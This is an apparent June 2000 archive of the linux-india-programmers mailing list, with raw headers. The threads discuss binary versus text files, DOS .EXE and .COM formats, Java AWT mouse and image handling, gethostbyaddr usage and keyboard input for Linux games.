([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id OAA25022 for ; Tue, 6 Jun 2000 14:24:40 +0530 Message-ID: <393CBCEE.86A1E8A1@mahindrabt.com> Date: Tue, 06 Jun 2000 14:27:18 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/40 hi that brings us to the next question, what is a binary file ? like i have some a.out which can be displayed with 'od' ; now this dump is what is a.out or is it something more. specifically how the info contained in this file is relayed to the OS ? > > Well, yes. > A byte can be used to represent 256 different values/characters. Of > these, all have been assigned a special meaning, eg, EOF,'/n' '/t' > etc are just one of these combinations having been assigned a > special meaning. Similarly the normal alphanumeric characters such > as 'a' ... 'z' ..1,2, * %..etc have a corresponding hexadecimal > value, which is interpreted by cat, more etc as text, as per the > ASCII standard. > > So there is no ascii file as such. It only depend on the > interpretation. > > pallav. > -- In a world without fences, who needs Gates ? not I .. ------------------------------------------------------------------ Email: rajeevj@mahindrabt.com Office : MBT(Sharda centre), off karve road Pune , India Tring Tring : +91(20)5424301 Xtn: 1126 Web-Site : http://www.rajeevjha.com ------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 02:56:03 2000 Received: from aero.iisc.ernet.in (aero.iisc.ernet.in [144.16.73.100]) by www.aunet.org (Postfix) with ESMTP id B9196380D4 for ; Tue, 6 Jun 2000 02:55:55 -0700 (PDT) Received: from localhost (pallav99@localhost) by aero.iisc.ernet.in (8.9.3/8.8.7) with SMTP id PAA25772 for ; Tue, 6 Jun 2000 15:30:52 +0530 Date: Tue, 6 Jun 2000 15:30:52 +0530 (IST) From: Pallav Nawani To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) In-Reply-To: <393CBCEE.86A1E8A1@mahindrabt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/41 On Tue, 6 Jun 2000, Rajeev Jha wrote: > > hi > that brings us to the next question, what is a binary file ? like i have > some a.out which can be displayed with 'od' ; now this dump is what is > a.out or is it something more. specifically how the info contained in > this file is relayed to the OS ? > A binary file is a sequence of instructions to the microprocessor (Hereafter abbreviated mpu). A program has two components: 1. data to be acted upon 2. Sequence of instructions. Data can be interpreted in the manner of ascii etc. Now since the binary files are also stored in the same way in the disk, only way for the OS to know whether they are executables or not is the presence of 'x' permission (or the suffix 'com' or 'exe' in case of windows/Dos). That being the case, The OS also needs to know from where the instructions etc start in the file, where the data is, etc. Thus executables have a header which provides such information. Using which, the OS executes the instructions. In Dos (Well, when I studied this, I read a book on how x86 cpu does this on dos so I don't have a idea how this is on linux) 'EXE' files have such headers, while 'com' (which stands for command) do not, instructions start from the first line. Now why changing even a single byte in a binary file causes it to misbehave ? simple. Assembly instructions have a fixed length. If you change on byte, It may become a different instruction! with some unexpected results. Usually compiler also embeds information on which function was called etc in the file. Which is what you see when you do 'od'. Also, the instructions are interpreted by the mpu, *not* the OS. pallav. ___________________________________________________________________ O Sun of refulgent glory, I made you what you are. - Mandakyo Upnishad ____________________________________________________________________ Pallav Nawani | Visit me at | M-41, | http://www.angelfire.com/co/pallav | IISc Bangalore | --------------------------------------------| PIN 560012 | | Phone : 3092453 | | _____________________|_____________________________________________| From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 07:42:25 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id 7A8613807A for ; Tue, 6 Jun 2000 07:42:16 -0700 (PDT) Received: from linux.sankyasys ([203.197.177.235]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id TAA00581 for ; Tue, 6 Jun 2000 19:57:25 +0530 (IST) Received: (from kala@localhost) by linux.sankyasys (8.9.3/8.8.7) id TAA07299 for linux-india-programmers@lists.linux-india.org; Tue, 6 Jun 2000 19:07:03 +0530 Date: Tue, 6 Jun 2000 19:07:03 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: guidance Message-ID: <20000606190703.C6118@linux.sankyasys> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: <393CAE4E.2819446D@delhi.tcs.co.in> X-Operating-System: Linux - Red Hat 6.1 (PCQ) X-Kernel: Kernel 2.2.12-20 on an i686 Organization: Sankya Systems & Objects (P) Ltd., Bangalore, India X-Archive-Number: 200006/42 On Tue, Jun 06, 2000 at 01:24:54PM +0530, Rohit Singh typed: > > > in my Frame i want to detect that the mouse has been moved over a > > button. ( i am programming in java ) how can this be acheived ? > > #1: Use a MouseMotionListener or Adapter > #2: Subclass Button and enableEvents(AWTEvent.MOUSE_EVENT) in its > constructor after calling super(). > public void processMouseEvent( Mouse Event e) { > ... That should be ProcessMouseMotionEvent(MouseEvent e) { Kala From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 07:42:32 2000 Received: from bgl2.vsnl.net.in (bgl2.vsnl.net.in [202.54.12.46]) by www.aunet.org (Postfix) with ESMTP id 109A53808A for ; Tue, 6 Jun 2000 07:42:18 -0700 (PDT) Received: from linux.sankyasys ([203.197.177.235]) by bgl2.vsnl.net.in (8.9.3/8.9.3) with ESMTP id TAA00599 for ; Tue, 6 Jun 2000 19:57:28 +0530 (IST) Received: (from kala@localhost) by linux.sankyasys (8.9.3/8.8.7) id SAA07247 for linux-india-programmers@lists.linux-india.org; Tue, 6 Jun 2000 18:57:40 +0530 Date: Tue, 6 Jun 2000 18:57:40 +0530 From: Babu Kalakrishnan To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Message-ID: <20000606185740.B6118@linux.sankyasys> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3us In-Reply-To: X-Operating-System: Linux - Red Hat 6.1 (PCQ) X-Kernel: Kernel 2.2.12-20 on an i686 Organization: Sankya Systems & Objects (P) Ltd., Bangalore, India X-Archive-Number: 200006/43 On Tue, Jun 06, 2000 at 03:30:52PM +0530, Pallav Nawani typed: > On Tue, 6 Jun 2000, Rajeev Jha wrote: > > that brings us to the next question, what is a binary file ? like i have > > > A binary file is a sequence of instructions to the microprocessor > (Hereafter abbreviated mpu). A program has two components: > A binary file need not always contain code. What you're describing is an "executable" - i.e a file that contains executable code. I suppose the confusion occurs because of the term "binaries" used to specify programs distributed in the executable format (as opposed to "source" form). The distinction between "text" files and "binary" files is mostly semantics. The general description being what Sachin mentioned - A text file is a file containing printable ASCII characters only (and may be a few format control codes like CR, LF, Tab etc).. Any file that is not a text file is termed as a binary file. This could be code, data, or anything that contains non-printable ASCII information. The distinction is pretty vague. Under MSDOS, files containing characters above the ASCII code 128 (the IBM PC extended line-drawing character set) were often classified under "text" files because you could view its contents with a lot of DOS text editors (And even print it on a lot of printers).. Kala From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 07:51:10 2000 Received: from giasbgc.vsnl.net.in (giasbgc.vsnl.net.in [202.54.12.163]) by www.aunet.org (Postfix) with ESMTP id 550FB38096 for ; Tue, 6 Jun 2000 07:46:10 -0700 (PDT) Received: from cranks ([203.197.183.12]) by giasbgc.vsnl.net.in (8.9.3/8.9.3) with SMTP id UAA04583 for ; Tue, 6 Jun 2000 20:06:33 -0500 (GMT) Message-ID: <002f01bfcfc7$cb3bd200$0cb7c5cb@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: "LIP" Subject: one more q Date: Tue, 6 Jun 2000 20:26:18 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/44 hi all, how do i add a jpg image on a frame ? sorry for asking such silly questions... we are working in a very tight schedule. thanks for the earlier replies ( THEY HELPED A LOT ) - chetu From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 08:19:27 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id 75BD238116 for ; Tue, 6 Jun 2000 08:19:14 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel1.hp.com (Postfix) with ESMTP id 5A2471AB85 for ; Tue, 6 Jun 2000 11:18:53 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id B6BCA503DE for ; Tue, 6 Jun 2000 09:19:04 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id TAA15846 for ; Tue, 6 Jun 2000 19:39:39 +0530 (IST) Message-ID: <393D0621.6D345BDC@india.hp.com> Date: Tue, 06 Jun 2000 19:39:37 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/45 Pallav Nawani wrote: > > On Tue, 6 Jun 2000, Rajeev Jha wrote: > > > > > hi > > that brings us to the next question, what is a binary file ? like i have > > some a.out which can be displayed with 'od' ; now this dump is what is > > a.out or is it something more. specifically how the info contained in > > this file is relayed to the OS ? > > > > A binary file is a sequence of instructions to the microprocessor > (Hereafter abbreviated mpu). A program has two components: > 1. data to be acted upon > 2. Sequence of instructions. > > Data can be interpreted in the manner of ascii etc. Now since the > binary files are also stored in the same way in the disk, only way > for the OS to know whether they are executables or not is the > presence of 'x' permission (or the suffix 'com' or 'exe' in case of > windows/Dos). That being the case, The OS also needs > to know from where the instructions etc start in the file, where the > data is, etc. > > Thus executables have a header which provides such information. > Using which, the OS executes the instructions. In Dos (Well, when I > studied this, I read a book on how x86 cpu does this on dos so I > don't have a idea how this is on linux) 'EXE' files have such > headers, while 'com' (which stands for command) do not, instructions > start from the first line. The difference between .EXE and .COM is that .EXE files are relocatable, i.e. u can load them in any area of memory. The loader takes care of converting the address references to absolute ones. Hence .EXE may be larger than 1 DOS segment, i.e. 64 KB. But a .COM is *not* relocatable! The Code, Data and Stack *all* have to be within 1 segment! Peter Abel: x86 Assebly Programming, PHI. sachin From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 21:19:18 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 5D7F13808A for ; Tue, 6 Jun 2000 21:19:10 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id JAA23834; Wed, 7 Jun 2000 09:20:03 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568F7.0017E6AE; Sun, 7 Jun 1970 09:51:03 +0530 Message-ID: <393DCD24.4219BD12@delhi.tcs.co.in> Date: Wed, 07 Jun 2000 09:48:44 +0530 From: Rohit Singh Organization: TCS X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Chetan Gopal Kashinath Cc: LIP Subject: Re: one more q Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/46 To add an image(jpeg/gif) to any component(frame in your case), do something on the lines of ... Image jpegImg = null; Graphics fg = frame.getGraphics(); jpegImg = getImage(new URL("http://www.wherever.com/image.jpg")); fg.drawImage(jpegImg, topLeftX, topLeftY, width, height);  You can add the image to a canvas, and the canvas to the frame and use the standard LayoutManagers to lay out your frame. You could also use MediaTracker to take care of slowly downloading images off the net (if that is your case). HTH, Rohit From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 23:52:55 2000 Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202]) by www.aunet.org (Postfix) with ESMTP id 02B793804F for ; Tue, 6 Jun 2000 23:52:52 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel2.hp.com (Postfix) with ESMTP id B4D7A5AE4; Wed, 7 Jun 2000 02:52:47 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 3E59B514BB; Wed, 7 Jun 2000 01:03:33 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id LAA17360; Wed, 7 Jun 2000 11:24:07 +0530 (IST) Message-ID: <393DE37E.6ADB9F60@india.hp.com> Date: Wed, 07 Jun 2000 11:24:06 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: rangeela Cc: Linux-India-Programmers Subject: Re: Binary vs ASCII or .EXE vs .COM Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/47 rangeela wrote: > > > > > The difference between .EXE and .COM is that .EXE files are relocatable, > > i.e. u can load them in any area of memory. The loader takes care of > converting the address > >references to absolute ones > The same is true for .com also they can also be located anywhere . The only > diff . being the one you quoted as follows: > > Hence .EXE may be > > larger than 1 DOS segment, i.e. 64 KB. But a .COM is *not* relocatable! > > The Code, Data and Stack *all* have to be within 1 segment! > > > If .com were to be loaded only at a fix position then how come one run > multiple copy of command.com in DOS. The x86 architecture has addresses of the form CS:IP, i.e. the address is formed by the combination of Code Segment (CS) and Instruction Pointer (IP) registers. In an .EXE, the text, data and stack can span multiple segemnts, hence jumps may occur over segment boundaries. The loader ahs to ensure the correct addresses in this case. In the case of .COM, all jumps, stack operations etc. happen within the same segment boundary. I was slightly off when I said that a .COM is *not* relocatable. Well, a .COM is relocatable in the sense that u can load it in any segemnt, but it can't span segemnt boundaries, all jumps are local or short jumps and the loader doesn't need to worry much about patching the addresses. All addresses are in terms of IP only and don't need to be patched. I hope the difference is clear now. BTW, a .COM file contains a 256 byte PSP (Program Segment Prefix) whcih contains info about the type of file or something, I forgot. A .EXE contains a "magic string" at the beginning of the file. Random binary data is identified by the file command as just "data" bye, sachin From linux-india-programmers-owner@lists.linux-india.org Wed Jun 7 00:03:26 2000 Received: from matrix.reccal.ernet.in (unknown [202.41.105.50]) by www.aunet.org (Postfix) with ESMTP id 9F28F38052 for ; Tue, 6 Jun 2000 23:58:59 -0700 (PDT) Received: (from linac@localhost) by matrix.reccal.ernet.in (8.8.7/8.8.7) id MAA13157; Wed, 7 Jun 2000 12:14:33 +0530 Date: Wed, 7 Jun 2000 12:14:33 +0530 (IST) From: Linac Is Not A Club To: "linux-india-programmers@lists.linux-india.org" Subject: Re: Binary or text. In-Reply-To: <393B9F50.55CB84E8@india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/48 ------------------------------------------------------------------------ Trifles make perfection, and perfection is no trifle. -- Michelangelo > How can I make out if a file is binary or text given its path? You can't. The system does not recognise file types. The semantics of a file are determined by the program reading the file and not by the file itself. You could read a bit of the file and make some intelligent guesses using the magic no. or something. Kinda like the file command but thats it. From linux-india-programmers-owner@lists.linux-india.org Wed Jun 7 10:16:02 2000 Received: from web1302.mail.yahoo.com (web1302.mail.yahoo.com [128.11.23.152]) by www.aunet.org (Postfix) with SMTP id 2922B3804F for ; Wed, 7 Jun 2000 10:15:55 -0700 (PDT) Received: (qmail 9604 invoked by uid 60001); 7 Jun 2000 17:15:54 -0000 Message-ID: <20000607171554.9603.qmail@web1302.mail.yahoo.com> Received: from [202.144.29.21] by web1302.mail.yahoo.com; Wed, 07 Jun 2000 10:15:54 PDT Date: Wed, 7 Jun 2000 10:15:54 -0700 (PDT) From: PRAKASH GOWRI Subject: thank u To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/49 hi binand, thanx for your help -- it worked and yes i will include subjects for my mails from now on. ciao __________________________________________________ Do You Yahoo!? Yahoo! Photos -- now, 100 FREE prints! http://photos.yahoo.com From linux-india-programmers-owner@lists.linux-india.org Wed Jun 7 10:37:47 2000 Received: from web1302.mail.yahoo.com (web1302.mail.yahoo.com [128.11.23.152]) by www.aunet.org (Postfix) with SMTP id DC47938069 for ; Wed, 7 Jun 2000 10:37:40 -0700 (PDT) Received: (qmail 14242 invoked by uid 60001); 7 Jun 2000 17:37:39 -0000 Message-ID: <20000607173739.14241.qmail@web1302.mail.yahoo.com> Received: from [202.144.29.21] by web1302.mail.yahoo.com; Wed, 07 Jun 2000 10:37:39 PDT Date: Wed, 7 Jun 2000 10:37:39 -0700 (PDT) From: PRAKASH GOWRI Subject: gethostbyaddr problem solved!! To: linux-india-programmers@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/50 the way to use gethostbyaddr. Try: hi everybody, binand solved my problem about the gethostbyaddr system call. and here it is (if it can help anybody else):- this is the wrong way to do it:- hptr=gethostbyaddr("127.0.0.1",4,AF_INET); this is the right way:- struct hostent *host; struct in_addr addr; inet_aton ("127.0.0.1", &addr); host = gethostbyaddr ((char *) &addr, sizeof addr, AF_INET); if (host == NULL) { /* Continue */ } The call to inet_aton is necessary to handle the endianness conversions. ciao __________________________________________________ Do You Yahoo!? Yahoo! Photos -- now, 100 FREE prints! http://photos.yahoo.com From linux-india-programmers-owner@lists.linux-india.org Wed Jun 7 21:10:43 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 0D3E43808B for ; Wed, 7 Jun 2000 21:10:36 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id JAA27629 for ; Thu, 8 Jun 2000 09:10:19 -0500 (GMT) Received: by MAILGG2.delhi.tcs.co.in(Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) id 652568F8.0017088F ; Thu, 8 Jun 2000 09:41:35 +0530 X-Lotus-FromDomain: TCSDELHI From: "Prateek Gera" To: linux-india-programmers@lists.linux-india.org Message-ID: <652568F8.0015F628.00@MAILGG2.delhi.tcs.co.in> Date: Thu, 8 Jun 2000 09:41:32 +0530 Subject: Re: gethostbyaddr problem solved!! Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Archive-Number: 200006/51 > The call to inet_aton is necessary to handle the > endianness >conversions. Hi Prakash, The inet_aton is NOT for handling endianness its for converting the Ip address from standard numbers dot notation( that is easily understood by everyone) to binary ( understood by computer). For handling endianness the functions such as hotnl, ntohs etc. are used whcich convert the data from host to network byte order or vice versa. prateek From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 04:10:25 2000 Received: from matrix.reccal.ernet.in (unknown [202.41.105.50]) by www.aunet.org (Postfix) with ESMTP id D817A38052 for ; Thu, 8 Jun 2000 04:00:25 -0700 (PDT) Received: (from linac@localhost) by matrix.reccal.ernet.in (8.8.7/8.8.7) id PAA23612; Thu, 8 Jun 2000 15:43:57 +0530 Date: Thu, 8 Jun 2000 15:43:57 +0530 (IST) From: Linac Is Not A Club To: linux-india-programmers@lists.linux-india.org Subject: Re: In-Reply-To: <20000605092611.3799.qmail@web1302.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/52 On Mon, 5 Jun 2000, PRAKASH GOWRI wrote: > hi everybody, > > (1) > im having a problem with the gethostbyaddr function. > i specify the > the arguments as :- > > 127.0.0.1 for the constant character > pointer, > 4 as the size (for ipv4 address), > AF_INET for the family. > > > but i get hptr=NULL which is the pointer to the > hostent structure. > i dont know if i am doing anything wrong!!!!!!! > > the following code fragment will make things > clearer:- > | > | > > > hptr=gethostbyaddr("127.0.0.1",4,AF_INET); > if(hptr==NULL) > { > printf("gethostbyaddress error for host: %s: > %s\n",ptr,hstrerror(h_errno)); > printf("gethostbyaddress function return NULL, > exiting \n"); > exit(0); > } > printf("official hostaddress: %s\n",ptr); > printf("length of address= %d\n",hptr->h_length); > printf("official hostname: %s\n",hptr->h_name); > for(pptr=hptr->h_aliases;*pptr!=NULL;pptr++) > printf("\talias: %s\n",*pptr); > Can't really tell from this distance but u might want 2 use htonl() on the address. I came up with something like this problem when code which worked on a Sun box wouldn't on an x86 box. Cheers. Alok From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 04:29:29 2000 Received: from arianne.ishoni.com (unknown [164.164.83.132]) by www.aunet.org (Postfix) with ESMTP id 93B4D3807A for ; Thu, 8 Jun 2000 04:29:19 -0700 (PDT) Received: from kedar.in.ishoni.com (IDENT:kedar@kedar.in.ishoni.com [192.168.1.75]) by arianne.ishoni.com (8.9.3/8.9.3) with ESMTP id RAA02930 for ; Thu, 8 Jun 2000 17:00:11 +0530 Date: Thu, 8 Jun 2000 17:03:07 +0530 (IST) From: Kedar Patankar X-Sender: kedar@kedar.in.ishoni.com To: linux-india-programmers@lists.linux-india.org Subject: Re: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/53 > > hptr=gethostbyaddr("127.0.0.1",4,AF_INET); > Can't really tell from this distance but u might want 2 use htonl() on the > address. I came up with something like this problem when code which worked > on a Sun box wouldn't on an x86 box. I think the problem is with the "len" argument to gethostbyaddr. You have given it as 4, *why*? If you do a man gethostbyaddr, it clearly says that the len is supposed to be the length of the const char *addr (the first argument, which is a asciiz string). So just fix that, it should solve your problem... From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 10:06:53 2000 Received: from hotmail.com (f31.law4.hotmail.com [216.33.149.31]) by www.aunet.org (Postfix) with SMTP id 1592038074 for ; Thu, 8 Jun 2000 10:06:50 -0700 (PDT) Received: (qmail 89791 invoked by uid 0); 8 Jun 2000 17:06:49 -0000 Message-ID: <20000608170649.89790.qmail@hotmail.com> Received: from 203.197.131.202 by www.hotmail.com with HTTP; Thu, 08 Jun 2000 10:06:49 PDT X-Originating-IP: [203.197.131.202] From: "Adityan Murthy" To: linux-india-programmers@lists.linux-india.org Subject: information on how to program keybord under linux Date: Thu, 08 Jun 2000 22:36:49 IST Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Archive-Number: 200006/54 Hi all, I need to program the keybord for a game so it has continous inputs. I need something similar to installing an interrupt service handler for keybord in dos. Adityan ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 11:31:28 2000 Received: from linux.local (unknown [210.212.215.23]) by www.aunet.org (Postfix) with ESMTP id 22CD738059 for ; Thu, 8 Jun 2000 11:31:19 -0700 (PDT) Received: (from nikhilwiz@localhost) by linux.local (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA01061 for linux-india-programmers@lists.linux-india.org; Thu, 8 Jun 2000 10:56:52 +0530 X-Authentication-Warning: linux.local: nikhilwiz set sender to nikhilwiz@yahoo.com using -f Date: Thu, 8 Jun 2000 10:56:52 +0530 From: Nick Hill To: linux-india-programmers@lists.linux-india.org Subject: Re: information on how to program keybord under linux Message-ID: <20000608105652.C837@yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <20000608170649.89790.qmail@hotmail.com> X-Operating-System: Linux 2.2.13 i686 X-Archive-Number: 200006/55 u need not poll the keyboard... if u're using X, u can check for a keyboard event in u're event loop. or u can use SDL... Nikhil. On Thu, Jun 08, 2000 at 10:36:49PM +0200, Adityan Murthy wrote: > I need to program the keybord for a game so it has continous inputs. I need > something similar to installing an interrupt service handler for keybord in > dos. From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 17:52:17 2000 Received: from hotmail.com (f158.law4.hotmail.com [216.33.149.158]) by www.aunet.org (Postfix) with SMTP id 2C5A43802E for ; Thu, 8 Jun 2000 17:52:11 -0700 (PDT) Received: (qmail 52770 invoked by uid 0); 9 Jun 2000 00:52:05 -0000 Message-ID: <20000609005205.52769.qmail@hotmail.com> Received: from 203.197.130.178 by www.hotmail.com with HTTP; Thu, 08 Jun 2000 17:52:05 PDT X-Originating-IP: [203.197.130.178] From: "Adityan Murthy" To: linux-india-programmers@lists.linux-india.org Cc: ganhawk@yahoo.com Subject: Re: information on how to program keybord under linux Date: Fri, 09 Jun 2000 06:22:05 IST Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Archive-Number: 200006/56 >From: Nick Hill >Reply-To: linux-india-programmers@lists.linux-india.org >To: linux-india-programmers@lists.linux-india.org >Subject: Re: [LIP] information on how to program keybord under linux >Date: Thu, 8 Jun 2000 10:56:52 +0530 > >u need not poll the keyboard... if u're using X, u can check for a keyboard >event in u're event loop. or u can use SDL... > >Nikhil. > >On Thu, Jun 08, 2000 at 10:36:49PM +0200, Adityan Murthy wrote: > > I need to program the keybord for a game so it has continous inputs. I >need > > something similar to installing an interrupt service handler for keybord >in > > dos. > >----------------------------------------------------------------------- >For more information on the LIP mailing list see: >http://lists.linux-india.org/lists/LIP ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 18:14:20 2000 Received: from scorpius.SteelCity.Durgapur (ppp77-197.pppcal.vsnl.net.in [202.54.77.197]) by www.aunet.org (Postfix) with ESMTP id B3B0838052 for ; Thu, 8 Jun 2000 18:14:09 -0700 (PDT) Received: from localhost (lists@localhost) by scorpius.SteelCity.Durgapur (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id GAA27936; Fri, 9 Jun 2000 06:38:05 +0530 From: lists@123india.com X-Authentication-Warning: scorpius.SteelCity.Durgapur: lists owned process doing -bs Date: Fri, 9 Jun 2000 06:38:05 +0530 (IST) X-Sender: lists@scorpius.SteelCity.Durgapur To: Adityan Murthy Cc: linux-india-programmers@lists.linux-india.org Subject: Re: information on how to program keybord under linux In-Reply-To: <20000608170649.89790.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/57 If you're doing console graphics svgalib has support for raw keyboard handling On Thu, 8 Jun 2000, Adityan Murthy wrote: > Hi all, > > I need to program the keybord for a game so it has continous inputs. I need > something similar to installing an interrupt service handler for keybord in > dos. > > Adityan > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ > /*****************************************************************. # Indraneel Majumdar # E-mail: indraneel@123india.com # # 4/2 Arobindo Avenue, # URL: http://scorpius.iwarp.com # # Durgapur, India 713204 # Tel: +91-343-563571 # `*****************************************************************/ From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 20:58:58 2000 Received: from maze.mcdecom.net (maze.mcdecom.net [202.170.128.34]) by www.aunet.org (Postfix) with ESMTP id 90CC538052 for ; Thu, 8 Jun 2000 20:58:52 -0700 (PDT) Received: from mcdmhp.mcdecom.net by maze.mcdecom.net with ESMTP for linux-india-programmers@lists.linux-india.org; Fri, 9 Jun 2000 09:29:54 -0500 Received: from [172.16.2.94] by mcdmhp.mcdecom.net with ESMTP for linux-india-programmers@lists.linux-india.org; Fri, 9 Jun 2000 09:25:30 +0530 Received: from ltitlblr.com [192.168.100.37] by ltitlblr.com [192.168.100.100] with SMTP (MDaemon.v2.83.R) for ; Fri, 09 Jun 2000 09:25:27 +0530 Message-Id: <388FC279.1DCB30AC@ltitlblr.com> Date: Thu, 27 Jan 2000 09:28:49 +0530 From: mahesh Organization: LTITL X-Mailer: Mozilla 4.05 [en] (WinNT; I) MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: information on how to program keybord under linux Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-MDaemon-Deliver-To: linux-india-programmers@lists.linux-india.org X-Return-Path: maheshv@ltitlblr.com X-Archive-Number: 200006/58 Hi aditya, You can do it in curses, after setting the mode ti cbreak and raw mode. I have written the nibbles program for two people in Linux using curses and it works fine If you need the same let me know and i will send you the code. Also in FreeBSD , you can trap the keyboard characters and redirect it to a file or do domething with it ( like creating a game ) check out script.c / ( come code taken from R Steven's book UNIX network programming chapter pseudo terminals ) Bye Mahesh mahesh@www.com Adityan Murthy wrote: > Hi all, > > I need to program the keybord for a game so it has continous inputs. I need > something similar to installing an interrupt service handler for keybord in > dos. > > Adityan > ________________________________________________________________________ > Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ -- The object of war is not to die for your country, but to make the other bastard die for his. - General Patton From linux-india-programmers-owner@lists.linux-india.org Thu Jun 8 22:57:34 2000 Received: from gigi.excite.com (unknown [199.172.152.110]) by www.aunet.org (Postfix) with ESMTP id 7EADC3805A for ; Thu, 8 Jun 2000 22:57:12 -0700 (PDT) Received: from slippery ([199.172.153.106]) by gigi.excite.com (InterMail vM.4.01.02.39 